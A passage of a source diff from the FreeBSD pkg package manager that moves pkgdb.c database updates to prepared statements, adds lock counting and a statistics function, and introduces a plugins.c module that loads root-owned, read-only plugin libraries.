+
			return (EPKG_FATAL);
+
		}
+

		switch (attr) {
-
			case PKG_SET_FLATSIZE:
-
				snprintf(sql, BUFSIZ, "update packages set flatsize=%"PRId64" where id=%"PRId64";",
-
				    va_arg(ap, int64_t), id);
-
				sql_exec(db->sqlite, sql);
-
				break;
-
			case PKG_SET_AUTOMATIC:
-
				automatic = va_arg(ap, int);
-
				if (automatic != 0 && automatic != 1)
-
					continue;
-
				snprintf(sql, BUFSIZ, "update packages set automatic=%d where id=%"PRId64";", automatic, id);
-
				sql_exec(db->sqlite, sql);
-
				break;
-
			case PKG_SET_DEPORIGIN:
-
				oldorigin = va_arg(ap, char *);
-
				neworigin = va_arg(ap, char *);
-
				sqlite3_snprintf(BUFSIZ, sql, "update deps set origin='%q', "
-
				    "name=(select name from packages where origin='%q'), "
-
				    "version=(select version from packages where origin='%q') "
-
				    "WHERE package_id=%d AND origin='%q';",
-
				    neworigin, neworigin, neworigin, id, oldorigin);
-
				sql_exec(db->sqlite, sql);
-
				break;
-
			case PKG_SET_ORIGIN:
-
				neworigin = va_arg(ap, char *);
-
				sqlite3_snprintf(BUFSIZ, sql, "update packages set origin='%q' where id='%d';", neworigin, id);
-
				sql_exec(db->sqlite, sql);
-
				break;
+
		case PKG_SET_FLATSIZE:
+
			flatsize = va_arg(ap, int64_t);
+
			sqlite3_bind_int64(stmt, 1, flatsize);
+
			sqlite3_bind_int64(stmt, 2, id);
+
			break;
+
		case PKG_SET_AUTOMATIC:
+
			automatic = (int64_t)va_arg(ap, int);
+
			if (automatic != 0 && automatic != 1) {
+
				sqlite3_finalize(stmt);
+
				continue;
+
			}
+
			sqlite3_bind_int64(stmt, 1, automatic);
+
			sqlite3_bind_int64(stmt, 2, id);
+
			break;
+
		case PKG_SET_DEPORIGIN:
+
			oldorigin = va_arg(ap, char *);
+
			neworigin = va_arg(ap, char *);
+
			sqlite3_bind_text(stmt, 1, neworigin, -1, SQLITE_STATIC);
+
			sqlite3_bind_int64(stmt, 2, id);
+
			sqlite3_bind_text(stmt, 3, oldorigin, -1, SQLITE_STATIC);
+
			break;
+
		case PKG_SET_ORIGIN:
+
			neworigin = va_arg(ap, char *);
+
			sqlite3_bind_text(stmt, 1, neworigin, -1, SQLITE_STATIC);
+
			sqlite3_bind_int64(stmt, 2, id);
+
			break;
+
		}

+
		if (sqlite3_step(stmt) != SQLITE_DONE) {
+
			ERROR_SQLITE(db->sqlite);
+
			sqlite3_finalize(stmt);
+
			return (EPKG_FATAL);
		}
+
		
+
		sqlite3_finalize(stmt);
	}
	return (EPKG_OK);
}
@@ -3096,10 +3475,10 @@ pkgdb_vset(struct pkgdb *db, int64_t id, va_list ap)
int
pkgdb_set2(struct pkgdb *db, struct pkg *pkg, ...)
{
-
	int ret = EPKG_OK;
-
	int64_t id;
+
	int	ret = EPKG_OK;
+
	int64_t	id;

-
	va_list ap;
+
	va_list	ap;

	assert(pkg != NULL);

@@ -3112,18 +3491,21 @@ pkgdb_set2(struct pkgdb *db, struct pkg *pkg, ...)
}

int
-
pkgdb_file_set_cksum(struct pkgdb *db, struct pkg_file *file, const char *sha256)
+
pkgdb_file_set_cksum(struct pkgdb *db, struct pkg_file *file,
+
		     const char *sha256)
{
-
	sqlite3_stmt *stmt = NULL;
-
	const char sql_file_update[] = ""
+
	sqlite3_stmt	*stmt = NULL;
+
	const char	 sql_file_update[] = ""
		"UPDATE files SET sha256=?1 WHERE path=?2";
+
	int		 ret;

-
	if (sqlite3_prepare_v2(db->sqlite, sql_file_update, -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sql_file_update, -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		return (EPKG_FATAL);
	}
	sqlite3_bind_text(stmt, 1, sha256, -1, SQLITE_STATIC);
-
	sqlite3_bind_text(stmt, 2, pkg_file_get(file, PKG_FILE_PATH), -1, SQLITE_STATIC);
+
	sqlite3_bind_text(stmt, 2, pkg_file_path(file), -1, SQLITE_STATIC);

	if (sqlite3_step(stmt) != SQLITE_DONE) {
		ERROR_SQLITE(db->sqlite);
@@ -3137,24 +3519,28 @@ pkgdb_file_set_cksum(struct pkgdb *db, struct pkg_file *file, const char *sha256
}

struct pkgdb_it *
-
pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, const char *repo, int flags)
+
pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs,
+
    const char *repo, unsigned flags)
{
-
	sqlite3_stmt *stmt = NULL;
-
	int i = 0;
-
	struct sbuf *sql = NULL;
-
	const char *how = NULL;
-
	const char *reponame = NULL;
+
	sqlite3_stmt	*stmt = NULL;
+
	int		 i = 0, ret;
+
	struct sbuf	*sql = NULL;
+
	const char	*how = NULL;
+
	const char	*reponame = NULL;

-
	const char finalsql[] = "SELECT pkgid AS id, origin, name, version, "
+
	const char	 finalsql[] = ""
+
		"SELECT pkgid AS id, origin, name, version, "
		"flatsize, newversion, newflatsize, pkgsize, cksum, repopath, "
		"'%s' AS dbname FROM pkgjobs ORDER BY weight DESC;";

-
	const char main_sql[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, "
+
	const char	 main_sql[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, "
			"flatsize, pkgsize, cksum, repopath) "
			"SELECT id, origin, name, version, flatsize, pkgsize, "
			"cksum, path FROM '%s'.packages ";

-
	const char deps_sql[] = "INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, "
+
	const char	deps_sql[] = ""
+
		"INSERT OR IGNORE INTO pkgjobs (pkgid, origin, name, version, "
				"flatsize, pkgsize, cksum, repopath) "
				"SELECT DISTINCT r.id, r.origin, r.name, r.version, "
				"r.flatsize, r.pkgsize, r.cksum, r.path "
@@ -3162,7 +3548,8 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons
				"(SELECT d.origin FROM '%s'.deps AS d, pkgjobs AS j WHERE d.package_id = j.pkgid) "
				"AND (SELECT origin FROM main.packages WHERE origin=r.origin AND version=r.version) IS NULL;";

-
	const char weight_sql[] = "UPDATE pkgjobs SET weight=(SELECT count(*) FROM '%s'.deps AS d WHERE d.origin=pkgjobs.origin)";
+
	const char	weight_sql[] = ""
+
		"UPDATE pkgjobs SET weight=(SELECT count(*) FROM '%s'.deps AS d WHERE d.origin=pkgjobs.origin)";

	assert(db != NULL);
	assert(db->type == PKGDB_REMOTE);
@@ -3187,7 +3574,9 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons
		sbuf_finish(sql);

		for (i = 0; i < nbpkgs; i++) {
-
			if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
			ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql),
+
			    -1, &stmt, NULL);
+
			if (ret != SQLITE_OK) {
				ERROR_SQLITE(db->sqlite);
				sbuf_delete(sql);
				return (NULL);
@@ -3197,11 +3586,14 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons

			/* report if package was not found in the database */
			if (sqlite3_changes(db->sqlite) == 0)
-
				pkg_emit_error("Package '%s' was not found in the repositories", pkgs[i]);
+
				pkg_emit_error("Package '%s' was not found "
+
				    "in the repositories", pkgs[i]);
		}
	} else {
		sbuf_finish(sql);
-
		if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
		ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1,
+
		    &stmt, NULL);
+
		if (ret != SQLITE_OK) {
			ERROR_SQLITE(db->sqlite);
			sbuf_delete(sql);
			return (NULL);
@@ -3218,12 +3610,12 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons
		sbuf_reset(sql);
		sbuf_printf(sql, deps_sql, reponame, reponame);
		sbuf_finish(sql);
-
		
+

		do {
			sql_exec(db->sqlite, sbuf_get(sql));
		} while (sqlite3_changes(db->sqlite) != 0);
	}
-
		
+

	sbuf_reset(sql);
	sbuf_printf(sql, weight_sql, reponame);
	sbuf_finish(sql);
@@ -3236,7 +3628,8 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons
	sbuf_printf(sql, finalsql, reponame);
	sbuf_finish(sql);

-
	if (sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL) != SQLITE_OK) {
+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_get(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
		ERROR_SQLITE(db->sqlite);
		sbuf_delete(sql);
		return (NULL);
@@ -3248,26 +3641,34 @@ pkgdb_query_fetch(struct pkgdb *db, match_t match, int nbpkgs, char **pkgs, cons
	return (pkgdb_it_new(db, stmt, PKG_REMOTE));
}

-
/* create our custom functions in the sqlite3 connection. Used both in the shell and pkgdb_open */
+
/*
+
 * create our custom functions in the sqlite3 connection.
+
 * Used both in the shell and pkgdb_open
+
 */
static int
-
sqlcmd_init(sqlite3 *db, __unused const char **err, __unused const void *noused)
+
sqlcmd_init(sqlite3 *db, __unused const char **err, 
+
	    __unused const void *noused)
{
-
		sqlite3_create_function(db, "now", 0, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "now", 0, SQLITE_ANY, NULL,
				pkgdb_now, NULL, NULL);
-
		sqlite3_create_function(db, "myarch", 0, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "myarch", 0, SQLITE_ANY, NULL,
				pkgdb_myarch, NULL, NULL);
-
		sqlite3_create_function(db, "myarch", 1, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "myarch", 1, SQLITE_ANY, NULL,
				pkgdb_myarch, NULL, NULL);
-
		sqlite3_create_function(db, "regexp", 2, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "regexp", 2, SQLITE_ANY, NULL,
				pkgdb_regex_basic, NULL, NULL);
-
		sqlite3_create_function(db, "eregexp", 2, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "eregexp", 2, SQLITE_ANY, NULL,
				pkgdb_regex_extended, NULL, NULL);
-
		sqlite3_create_function(db, "pkglt", 2, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "pkglt", 2, SQLITE_ANY, NULL,
				pkgdb_pkglt, NULL, NULL);
-
		sqlite3_create_function(db, "pkggt", 2, SQLITE_ANY, NULL,
+
	sqlite3_create_function(db, "pkggt", 2, SQLITE_ANY, NULL,
				pkgdb_pkggt, NULL, NULL);
-

-
		return SQLITE_OK;
+
	sqlite3_create_function(db, "pkgge", 2, SQLITE_ANY, NULL,
+
				pkgdb_pkgge, NULL, NULL);
+
	sqlite3_create_function(db, "pkgle", 2, SQLITE_ANY, NULL,
+
				pkgdb_pkgle, NULL, NULL);
+
	
+
	return SQLITE_OK;
}

void
@@ -3280,8 +3681,8 @@ pkgdb_cmd(int argc, char **argv)
void
pkgshell_open(const char **reponame)
{
-
	char localpath[MAXPATHLEN + 1];
-
	const char *dbdir;
+
	char		 localpath[MAXPATHLEN + 1];
+
	const char	*dbdir;

	sqlite3_auto_extension((void(*)(void))sqlcmd_init);

@@ -3295,11 +3696,115 @@ pkgshell_open(const char **reponame)
int
pkgdb_lock(struct pkgdb *db)
{
-
	return sql_exec(db->sqlite, "PRAGMA main.locking_mode=EXCLUSIVE;BEGIN IMMEDIATE;COMMIT;");
+
        assert(db != NULL);
+
	assert(db->lock_count >= 0);
+
	if (!(db->lock_count++))
+
		return sql_exec(db->sqlite,
+
		    "PRAGMA main.locking_mode=EXCLUSIVE;BEGIN IMMEDIATE;COMMIT;");
+
	else
+
		return (EPKG_OK);
}

int
pkgdb_unlock(struct pkgdb *db)
{
-
	return sql_exec(db->sqlite, "PRAGMA main.locking_mode=NORMAL;BEGIN IMMEDIATE;COMMIT;");
+
        assert(db != NULL);
+
	assert(db->lock_count >= 1);
+
	if (!(--db->lock_count))
+
		return sql_exec(db->sqlite,
+
		    "PRAGMA main.locking_mode=NORMAL;BEGIN IMMEDIATE;COMMIT;");
+
	else
+
		return (EPKG_OK);
+
}
+

+
int64_t
+
pkgdb_stats(struct pkgdb *db, pkg_stats_t type)
+
{
+
	sqlite3_stmt	*stmt = NULL;
+
	int64_t		 stats = 0;
+
	struct sbuf	*sql = NULL;
+
	int		 ret;
+

+
	assert(db != NULL);
+

+
	sql = sbuf_new_auto();
+

+
	switch(type) {
+
	case PKG_STATS_LOCAL_COUNT:
+
		sbuf_printf(sql, "SELECT COUNT(id) FROM main.packages;");
+
		break;
+
	case PKG_STATS_LOCAL_SIZE:
+
		sbuf_printf(sql, "SELECT SUM(flatsize) FROM main.packages;");
+
		break;
+
	case PKG_STATS_REMOTE_UNIQUE:
+
		sbuf_printf(sql, "SELECT COUNT(c) FROM ");
+

+
		/* open parentheses for the compound statement */
+
		sbuf_printf(sql, "(");
+

+
		/* execute on all databases */
+
		sql_on_all_attached_db(db->sqlite, sql,
+
		    "SELECT origin AS c FROM '%1$s'.packages", " UNION ");
+

+
		/* close parentheses for the compound statement */
+
		sbuf_printf(sql, ");");
+
		break;
+
	case PKG_STATS_REMOTE_COUNT:
+
		sbuf_printf(sql, "SELECT COUNT(c) FROM ");
+

+
		/* open parentheses for the compound statement */
+
		sbuf_printf(sql, "(");
+

+
		/* execute on all databases */
+
		sql_on_all_attached_db(db->sqlite, sql,
+
		    "SELECT origin AS c FROM '%1$s'.packages", " UNION ALL ");
+

+
		/* close parentheses for the compound statement */
+
		sbuf_printf(sql, ");");
+
		break;
+
	case PKG_STATS_REMOTE_SIZE:
+
		sbuf_printf(sql, "SELECT SUM(s) FROM ");
+

+
		/* open parentheses for the compound statement */
+
		sbuf_printf(sql, "(");
+

+
		/* execute on all databases */
+
		sql_on_all_attached_db(db->sqlite, sql,
+
		    "SELECT flatsize AS s FROM '%1$s'.packages", " UNION ALL ");
+

+
		/* close parentheses for the compound statement */
+
		sbuf_printf(sql, ");");
+
		break;
+
	case PKG_STATS_REMOTE_REPOS:
+
		sbuf_printf(sql, "SELECT COUNT(c) FROM ");
+

+
		/* open parentheses for the compound statement */
+
		sbuf_printf(sql, "(");
+

+
		/* execute on all databases */
+
		sql_on_all_attached_db(db->sqlite, sql,
+
		    "SELECT '%1$s' AS c", " UNION ALL ");
+

+
		/* close parentheses for the compound statement */
+
		sbuf_printf(sql, ");");
+
		break;
+
	}
+

+
	ret = sqlite3_prepare_v2(db->sqlite, sbuf_data(sql), -1, &stmt, NULL);
+
	if (ret != SQLITE_OK) {
+
		sbuf_free(sql);
+
		ERROR_SQLITE(db->sqlite);
+
		return (-1);
+
	}
+

+
	while (sqlite3_step(stmt) != SQLITE_DONE) {
+
		stats = sqlite3_column_int64(stmt, 0);
+
	}
+

+

+
	sbuf_finish(sql);
+
	sbuf_free(sql);
+
	sqlite3_finalize(stmt);
+

+
	return (stats);
}
added libpkg/plugins.c
@@ -0,0 +1,635 @@
+
/*
+
 * Copyright (c) 2012 Marin Atanasov Nikolov <dnaeon@gmail.com>
+
 * Copyright (c) 2012 Julien Laffaye <jlaffaye@FreeBSD.org>
+
 * All rights reserved.
+
 * 
+
 * Redistribution and use in source and binary forms, with or without
+
 * modification, are permitted provided that the following conditions
+
 * are met:
+
 * 1. Redistributions of source code must retain the above copyright
+
 *    notice, this list of conditions and the following disclaimer
+
 *    in this position and unchanged.
+
 * 2. Redistributions in binary form must reproduce the above copyright
+
 *    notice, this list of conditions and the following disclaimer in the
+
 *    documentation and/or other materials provided with the distribution.
+
 * 
+
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
 * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
 */
+

+
#include <sys/queue.h>
+
#include <sys/types.h>
+
#include <sys/stat.h>
+

+
#include <fts.h>
+
#include <fcntl.h>
+
#include <dlfcn.h>
+
#include <libutil.h>
+
#include <stdbool.h>
+
#include <string.h>
+
#include <assert.h>
+
#include <unistd.h>
+

+
#include "pkg.h"
+
#include "private/pkg.h"
+
#include "private/event.h"
+

+
#define N(a) (sizeof(a) / sizeof(a[0]))
+

+
struct _pkg_plugins_kv {
+
	 char *key;
+
	 char *val;
+
} pkg_plugins_kv[] = {
+
	[PKG_PLUGINS_NAME] 		= { __DECONST(char *, "name"), NULL },
+
	[PKG_PLUGINS_DESC] 		= { __DECONST(char *, "description"), NULL },
+
	[PKG_PLUGINS_VERSION] 		= { __DECONST(char *, "version"), NULL },
+
	[PKG_PLUGINS_PLUGINFILE]	= { __DECONST(char *, "plugin"), NULL },
+
	[PKG_PLUGINS_ENABLED]		= { __DECONST(char *, "enabled"), NULL },
+
};
+

+
struct plugins_hook {
+
	pkg_plugins_hook_t hook;				/* plugin hook type */
+
	pkg_plugins_callback callback;				/* plugin callback function */
+
	STAILQ_ENTRY(plugins_hook) next;
+
};
+

+
struct pkg_plugins {
+
	struct _pkg_plugins_kv fields[N(pkg_plugins_kv)];	/* plugin configuration fields */
+
	void *lh;						/* library handle */
+
	pkg_plugins_cmd_callback exec_cmd;			/* exec callback for plugins providing commands */
+
	STAILQ_HEAD(phooks, plugins_hook) phooks;		/* plugin hooks */
+
	STAILQ_ENTRY(pkg_plugins) next;
+
};
+

+
STAILQ_HEAD(plugins_head, pkg_plugins);
+
static struct plugins_head ph = STAILQ_HEAD_INITIALIZER(ph);
+
static unsigned int have_plugins_loaded = 0;
+

+
static int pkg_plugins_discover(void);
+
static int pkg_plugins_parse_conf(const char *file);
+
static int pkg_plugins_free(void);
+
static int pkg_plugins_load(struct pkg_plugins *p);
+
static int pkg_plugins_unload(struct pkg_plugins *p);
+
static int pkg_plugins_hook_free(struct pkg_plugins *p);
+
static int pkg_plugins_hook_register(struct pkg_plugins *p, pkg_plugins_hook_t hook, pkg_plugins_callback callback);
+
static int pkg_plugins_hook_exec(struct pkg_plugins *p, pkg_plugins_hook_t hook, void *data, struct pkgdb *db);
+
static int pkg_plugins_hook_list(struct pkg_plugins *p, struct plugins_hook **h);
+

+
static int
+
pkg_plugins_discover(void)
+
{
+
	FTS  	*fts = NULL;
+
	FTSENT	*ftsent = NULL;
+
	char	*paths[2];
+
	char    *ext = NULL;
+
	const char *plugins_dir = NULL;
+

+
	if (pkg_config_string(PKG_CONFIG_PLUGINS_DIR, &plugins_dir) != EPKG_OK) {
+
		pkg_emit_error("Cannot get PKG_PLUGINS_DIR config entry");
+
		return (EPKG_FATAL);
+
	}
+
	
+
        paths[0] = __DECONST(char *, plugins_dir);
+
        paths[1] = NULL;
+

+
	if ((fts = fts_open(paths, FTS_LOGICAL, NULL)) == NULL) {
+
		pkg_emit_error("fts_open(%s)", plugins_dir);
+
		return (EPKG_FATAL);
+
	}
+

+
	while ((ftsent = fts_read(fts)) != NULL) {
+

+
		/* skip anything that is not a file */
+
		if (ftsent->fts_info != FTS_F)
+
			continue;
+

+
		/* parse only .conf files */
+
		ext = strrchr(ftsent->fts_name, '.');
+
		if ((strcmp(ext, ".conf")) == 0)
+
			pkg_plugins_parse_conf(ftsent->fts_path);
+
	}
+

+
	fts_close(fts);
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_parse_conf(const char *file)
+
{
+
	struct pkg_plugins *new = NULL;
+
	struct pkg_plugins *plugin = NULL;
+
	properties p = NULL;
+
	unsigned int i = 0;
+
	char *temp;
+
	int fd = -1;
+
	bool wrong_conf = false;
+

+
	assert(file != NULL);
+

+
	if ((fd = open(file, O_RDONLY)) < 0) {
+
		pkg_emit_error("open(%s)", file);
+
		return (EPKG_FATAL);
+
	}
+

+
	if ((new = calloc(1, sizeof(struct pkg_plugins))) == NULL) {
+
		pkg_emit_error("Cannot allocate memory");
+
		return (EPKG_FATAL);
+
	}
+

+
	p = properties_read(fd);
+

+
	for (i = 0; i < N(pkg_plugins_kv); i++) {
+
		new->fields[i].key = strdup(pkg_plugins_kv[i].key);
+
		if ((temp = property_find(p, new->fields[i].key)) == NULL) {
+
			pkg_emit_error("required option '%s' is not specified in '%s'",
+
				       new->fields[i].key, file);
+
			wrong_conf = true;
+
		} else
+
			new->fields[i].val = strdup(temp);
+
	}
+

+
	properties_free(p);
+
	close(fd);
+

+
	/* check for duplicate plugin names */
+
	while (pkg_plugins_list(&plugin) != EPKG_END)
+
		if (strcmp(pkg_plugins_get(new, PKG_PLUGINS_NAME),
+
			   pkg_plugins_get(plugin, PKG_PLUGINS_NAME)) == 0) {
+
			pkg_emit_error("Plugin '%s' is already registered", pkg_plugins_get(plugin, PKG_PLUGINS_NAME));
+
			wrong_conf = true;
+
		}
+
	
+
	if (wrong_conf == true) {
+
		pkg_emit_error("Configuration errors found in '%s', plugin will not be loaded", file);
+
		for (i = 0; i < N(pkg_plugins_kv); i++) {
+
			if (new->fields[i].key != NULL)
+
				free(new->fields[i].key);
+
			if (new->fields[i].val != NULL)
+
				free (new->fields[i].val);
+
		}
+
		free(new);
+
		return (EPKG_FATAL);
+
	}
+

+
	STAILQ_INIT(&new->phooks);
+
	STAILQ_INSERT_TAIL(&ph, new, next);
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_hook_free(struct pkg_plugins *p)
+
{
+
	struct plugins_hook *h = NULL;
+

+
	assert(p != NULL);
+

+
	while (!STAILQ_EMPTY(&p->phooks)) {
+
		h = STAILQ_FIRST(&p->phooks);
+
		STAILQ_REMOVE_HEAD(&p->phooks, next);
+
		free(h);
+
	}
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_free(void)
+
{
+
	struct pkg_plugins *p = NULL;
+
	unsigned int i;
+

+
        while (!STAILQ_EMPTY(&ph)) {
+
                p = STAILQ_FIRST(&ph);
+
                STAILQ_REMOVE_HEAD(&ph, next);
+

+
		for (i = 0; i < N(pkg_plugins_kv); i++) {
+
			free(p->fields[i].key);
+
			free(p->fields[i].val);
+
		}
+

+
		pkg_plugins_hook_free(p);
+
		free(p);
+
        }
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_load(struct pkg_plugins *p)
+
{
+
	struct stat st;
+
	struct sbuf *init_name = NULL;
+
	int (*init_func)(void);
+
	int rc = EPKG_OK;
+
	
+
	const char *pluginfile = NULL;
+
	const char *pluginname = NULL;
+
	
+
	assert(p != NULL);
+

+
	pluginfile = pkg_plugins_get(p, PKG_PLUGINS_PLUGINFILE);
+
	pluginname = pkg_plugins_get(p, PKG_PLUGINS_NAME);
+

+
	if ((eaccess(pluginfile, F_OK)) != 0) {
+
		pkg_emit_error("Plugin file '%s' does not exists, ignoring plugin '%s'",
+
			       pluginfile, pluginname);
+
		return (EPKG_FATAL);
+
	}
+

+
	/*
+
	 * Check file permission of he shared object. To limit security exposure,
+
	 * it must be owned by root and in 0444 (readonly) mode.
+
	 */
+
	if (stat(pluginfile, &st) != 0) {
+
		pkg_emit_errno("stat", pluginfile);
+
		return (EPKG_FATAL);
+
	}
+
	if (st.st_uid != 0) {
+
		pkg_emit_error("Plugin file %s must be owned by root", pluginfile);
+
		return (EPKG_FATAL);
+
	}
+
	if ((st.st_mode & (S_IRWXU|S_IRWXG|S_IRWXO)) != 0444) {
+
		pkg_emit_error("Plugin file %s must be in mode 444", pluginfile);
+
		return (EPKG_FATAL);
+
	}
+

+
	/*
+
	 * Load the plugin
+
	 */
+
	if ((p->lh = dlopen(pluginfile, RTLD_LAZY)) == NULL) {
+
		pkg_emit_error("Loading of plugin '%s' failed: %s",
+
			       pluginname, dlerror());
+
		return (EPKG_FATAL);
+
	}
+

+
	/*
+
	 * The plugin *must* provide an init function that is called by the library.
+
	 *
+
	 * The plugin's init function takes care of registering a hook in the library,
+
	 * which is handled by the pkg_plugins_hook() function.
+
	 *
+
	 * Every plugin *must* provide a 'pkg_plugin_init_<plugin>' function, which is
+
	 * called upon plugin loading for registering a hook in the library.
+
	 *
+
	 * The plugin's init function prototype should be in the following form:
+
	 *
+
	 * int pkg_plugins_init_<plugin> (void);
+
	 *
+
	 * No arguments are passed to the plugin's init function.
+
	 *
+
	 * Upon successful initialization of the plugin EPKG_OK (0) is returned and
+
	 * upon failure EPKG_FATAL ( > 0 ) is returned to the caller.
+
	 */
+
	init_name = sbuf_new_auto();
+
	sbuf_printf(init_name, "pkg_plugins_init_%s", pluginname);
+

+
	if ((init_func = dlsym(p->lh, sbuf_get(init_name))) == NULL) {
+
		pkg_emit_error("Cannot load init function for plugin '%s'", pluginname);
+
		pkg_emit_error("Plugin '%s' will not be loaded: %s", pluginname, dlerror());
+
		sbuf_delete(init_name);
+
		dlclose(p->lh);
+
		return (EPKG_FATAL);
+
	}
+

+
	sbuf_delete(init_name);
+

+
	/*
+
	 * Initialize the plugin and let it register itself a hook in the library
+
	 */
+
	if ((rc = (*init_func)()) != EPKG_OK) {
+
		pkg_emit_error("Plugin '%s' failed to initialize, return code was %d",
+
			       pluginname, rc);
+
		dlclose(p->lh);
+
	}
+

+
	have_plugins_loaded++;
+

+
	return (rc);
+
}
+

+
static int
+
pkg_plugins_unload(struct pkg_plugins *p)
+
{
+
	struct sbuf *shutdown_name = NULL;
+
	int (*shutdown_func)(void);
+
	int rc = EPKG_OK;
+
	
+
	const char *pluginfile = NULL;
+
	const char *pluginname = NULL;
+
	
+
	assert(p != NULL);
+

+
	/*
+
	 * Plugin could be enabled, but failed to be loaded
+
	 */
+
	if (p->lh == NULL)
+
		return (EPKG_OK);
+

+
	pluginfile = pkg_plugins_get(p, PKG_PLUGINS_PLUGINFILE);
+
	pluginname = pkg_plugins_get(p, PKG_PLUGINS_NAME);
+

+
	/*
+
	 * Plugins may optionally provide a shutdown function.
+
	 *
+
	 * When a plugin provides a shutdown function, it is called
+
	 * before a plugin is being unloaded. This is useful in cases
+
	 * where a plugin needs to perform a cleanup for example, or
+
	 * perform any post-actions like reporting for example.
+
	 *
+
	 * The plugin's shutdown function prototype should be in the following form:
+
	 *
+
	 * int pkg_plugins_shutdown_<plugin> (void);
+
	 *
+
	 * Upon successful shutdown of the plugin EPKG_OK (0) is returned and
+
	 * upon failure EPKG_FATAL ( > 0 ) is returned to the caller.
+
	 */
+
	
+
	shutdown_name = sbuf_new_auto();
+
	sbuf_printf(shutdown_name, "pkg_plugins_shutdown_%s", pluginname);
+

+
	/* Execute the shutdown function provided by the plugin */
+
	if ((shutdown_func = dlsym(p->lh, sbuf_get(shutdown_name))) != NULL) {
+
		if ((rc = (*shutdown_func)()) != EPKG_OK) {
+
			pkg_emit_error("Plugin '%s' failed to shutdown properly, return code was %d",
+
				       pluginname, rc);
+
		}
+
	}
+

+
	sbuf_delete(shutdown_name);
+
	dlclose(p->lh);
+

+
	return (rc);
+
}
+

+
static int
+
pkg_plugins_hook_register(struct pkg_plugins *p, pkg_plugins_hook_t hook, pkg_plugins_callback callback)
+
{
+
	struct plugins_hook *new = NULL;
+
	
+
	assert(p != NULL);
+
	assert(callback != NULL);
+

+
	if ((new = calloc(1, sizeof(struct plugins_hook))) == NULL) {
+
		pkg_emit_error("Cannot allocate memory");
+
		return (EPKG_FATAL);
+
	}
+

+
	new->hook |= hook;
+
	new->callback = callback;
+

+
	STAILQ_INSERT_TAIL(&p->phooks, new, next);
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_hook_exec(struct pkg_plugins *p, pkg_plugins_hook_t hook, void *data, struct pkgdb *db)
+
{
+
	struct plugins_hook *h = NULL;
+
	
+
	assert(p != NULL);
+

+
	while (pkg_plugins_hook_list(p, &h) != EPKG_END)
+
		if (h->hook == hook) {
+
			printf(">>> Triggering execution of plugin '%s'\n",
+
			       pkg_plugins_get(p, PKG_PLUGINS_NAME));
+
			h->callback(data, db);
+
		}
+

+
	return (EPKG_OK);
+
}
+

+
static int
+
pkg_plugins_hook_list(struct pkg_plugins *p, struct plugins_hook **h)
+
{
+
	assert(p != NULL);
+
	
+
	if ((*h) == NULL)
+
		(*h) = STAILQ_FIRST(&(p->phooks));
+
	else
+
		(*h) = STAILQ_NEXT((*h), next);
+

+
	if ((*h) == NULL)
+
		return (EPKG_END);
+
	else
+
		return (EPKG_OK);
+
}
+

+
int
+
pkg_plugins_hook(const char *pluginname, pkg_plugins_hook_t hook, pkg_plugins_callback callback)
+
{
+
	struct pkg_plugins *p = NULL;
+
	const char *pname = NULL;
+
	bool plugin_found = false;
+
	
+
	assert(pluginname != NULL);
+
	assert(callback != NULL);
+

+
	/* locate the plugin */
+
	while (pkg_plugins_list(&p) != EPKG_END) {
+
		pname = pkg_plugins_get(p, PKG_PLUGINS_NAME);
+
		if ((strcmp(pname, pluginname)) == 0) {
+
			pkg_plugins_hook_register(p, hook, callback);
+
			plugin_found = true;
+
		}
+
	}
+

